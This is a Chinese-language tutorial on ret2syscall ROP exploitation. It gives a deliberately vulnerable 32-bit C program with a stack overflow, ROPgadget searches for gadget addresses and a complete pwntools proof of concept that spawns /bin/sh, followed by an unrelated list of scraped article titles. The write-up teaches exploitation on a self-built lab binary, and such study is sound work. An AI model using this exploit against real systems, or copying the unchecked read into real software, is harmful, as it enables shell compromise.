程序:

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];
read(0,str,0x50);
}
int main()
{func();
return 0;
}

很容易看出func存在溢出

liunx上面的系统调用原理

eax 系统调用号
ebx 第一个参数
ecx 第二个参数
edx 第三个参数
esi 第四个参数
edi 第五个参数
int 0x80

我们利用上面的溢出和根据ropgadgets与ret2syscall技术原理去执行execve("/bin/sh",null,null); ,
所以eax就存放execve函数的系统调用号11,ebx存放第一个参数/bin/sh,ecx存放第二个参数null,就是0,edx存放第三个

eax=11 0xb
ebx="/bin/sh"的地址
ecx=0
edx=0

编译

gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
gdb 7.exe
start

static:静态编译,这样有指令流序列

找到溢出点:


在44溢出

利用ropgadget找指令地址

利用溢出把函数execve需要的参数压入栈中,压入栈中之后,这个时候我们就需要找指令地址,利用ret、push、pop这些指令把值赋值到相应的寄存器中

ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"

找指令流中包含pop和ret的,还必须有eax,我们用:0x080aaa06

ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

地址:0x0806f711

ROPgadget --binary ./7.exe --string "/bin/sh"

/bin/sh地址:0x080ae008

ROPgadget --binary ./7.exe --only "int"|grep "0x80"

int 0x80地址:0x0804a3d2

poc和解释

from pwn import *
context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)
value_eax=p32(0xb)
add_edx_ecx_ebx=p32(0x0806f711)
value_ebx=p32(0x080ae008)
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()

解释一下:
溢出44,所以我们用44个0x90填充,add_eax是pop eax ; ret 这段程序的地址, 当执行func函数的ret语句时会,eip为这个地
执行pop eax ; ret 这两条语句,pop eax,此时栈顶值只要时调用execve函数调用号,我们就成功把调用号复制给eax,eax
所以后面加了value_eax 。
执行完pop eax ,栈顶的值是add_edx_ecx_ebx ,也就是下面程序的地址

pop edx ;
pop ecx ;
pop ebx ;
ret

执行ret,我们到这段程序执行,此时栈顶的值是value_edx ,执行pop edx ; ,value_edx到edx中了,后面指令依次类推,执
栈顶的值是: add_int ,也就是int 0x80 的首地址,执行完ret,我们到这里执行,成功调用execve函数

执行poc,成功:

总结

这个思想大致是在一个程序中,找出我们需要的语句,然后利用溢出,构造数据,把数据打入栈中·,然后利用pop、push、ret语句,将这些数据传入到相应的寄存器,然后让程序去执行这些语句,相当于我们在
一些语句,让程序不按照原来的步骤执行,去执行我们找出来的语句。
这里面关键的技术是保证堆栈平衡,把参数放到指令流需要的地方。这是ropgadgets技术的精髓

ropgadgets与ret2syscall技术原理相关推荐

  1. php 伪静态 page-18.html,PHP 伪静态实现技术原理讲解

    PHP 伪静态实现技术原理讲解 发布于 2015-01-18 23:52:58 | 129 次阅读 | 评论: 0 | 来源: 网友投递 PHP开源脚本语言PHP(外文名: Hypertext Pre ...

  2. 看了极光推送技术原理的几点思考

    看了极光推送技术原理的几点思考 分类: android2012-11-26 20:50 16586人阅读 评论(18) 收藏 举报 目录(?)[+] 移动互联网应用现状 因为手机平台本身.电量.网络流 ...

  3. 秋色园QBlog技术原理解析:性能优化篇:用户和文章计数器方案(十七)

    2019独角兽企业重金招聘Python工程师标准>>> 上节概要: 上节 秋色园QBlog技术原理解析:性能优化篇:access的并发极限及分库分散并发方案(十六)  中, 介绍了 ...

  4. 详解微信域名防封的方法以及检测等工具的技术原理

    微信域名完全防封是绝对不可能的,这是必须明确的,曾经有人打折<不死域名>的概念,它不是不死,是稍微命长一点,在推广上成本更低一下,效果更好一些, 主要的技术原理是利用了腾讯云的域名安全联盟 ...

  5. NLP实践:对话系统技术原理和应用

    本文节选自电子工业出版社<自然语言处理实践:聊天机器人技术原理与应用> 作者:王昊奋&邵浩&李方圆&张凯&宋亚楠 以下是节选内容 按照技术实现,我们可将任务 ...

  6. 范成法加工matlab_光学非球面技术原理与加工技术

    光学非球面的定义 广义来说,非球面是不包括球面和平面的其他表面.从应用的角度来说,非球面可以分成轴对称的非球面.具有两个对称面的非球面.没有对称性的自由曲面. 非球面分类 通常把非球面分成二次非球面和 ...

  7. 秋色园QBlog技术原理解析:性能优化篇:数据库文章表分表及分库减压方案(十五)...

    文章回顾: 1: 秋色园QBlog技术原理解析:开篇:整体认识(一) --介绍整体文件夹和文件的作用 2: 秋色园QBlog技术原理解析:认识整站处理流程(二) --介绍秋色园业务处理流程 3: 秋色 ...

  8. 计算机书籍- 聊天机器人技术原理与应用

    去天猫看看智能鼠标 书名: 自然语言处理实践:聊天机器人技术原理与应用 作者:王昊奋 等 出版社:电子工业出版社 出版时间:2019年02月

  9. Pacbio HiFi技术原理与应用软件实例

    Pacbio HiFi技术原理与应用软件实例 原创 生信技术 生信技术 2021-06-07 13:02 收录于话题 #基因组组装3个内容 #生物信息3个内容 #生信技术3个内容 点击上方蓝字关注我们 ...

最新文章

  1. 胡想——对机器人控制体系的一些想法
  2. Packet Tracer 5.0配置cisco路由器详细说明
  3. thinkphp mysql批量入库_ThinkPHP3.2框架使用addAll()批量插入数据的方法
  4. C语言模拟质点运动轨迹坐标,C语言定时器的使用 计算质点运动的移位
  5. 小程序 video 控制器外观调整_最好的Nintendo Switch控制器
  6. 静态库和动态库详解(部分参考别人)
  7. 用Python解决百马百瓦
  8. 10、32位 x86处理器编程架构
  9. python学习之装饰器---转
  10. mac安装热更新插件
  11. JQuery Easyui/TopJUI 创建多级联动下拉框(纯HTML实现!!!)
  12. 八天学会Ansys命令流
  13. 转账设计测试用例-----必背
  14. 《回炉重造》——泛型
  15. oppo r11 r11t解BL锁安装面具magisk详细教程
  16. A股-入门-新手该如何成功选股
  17. [附源码]Nodejs计算机毕业设计京津冀畅游网设计Express(程序+LW)
  18. unity中使用render texture全黑的可能解决方案
  19. 一文搞清楚码元速率(波特率)和比特速率(比特率)的区别
  20. 移动应用程序和网页应用程序_如何不完全破坏您的移动应用程序的用户界面

热门文章

  1. CSS基础语法(三) CSS的6种特性
  2. 页面刷新 vuex 数据重新被初始化
  3. 【WXS数据类型】Array
  4. 关于 Error: No PostCSS Config found in 的错误
  5. Css3新属性:calc()
  6. C# 只允许运行一个程序实例
  7. 多线程爬取新闻标题和链接
  8. Keepalived详解之 - LVS(IPVS)管理工具ipvsadm使用指南
  9. 【BZOJ4262】Sum 单调栈+线段树
  10. Python 字典 values() 方法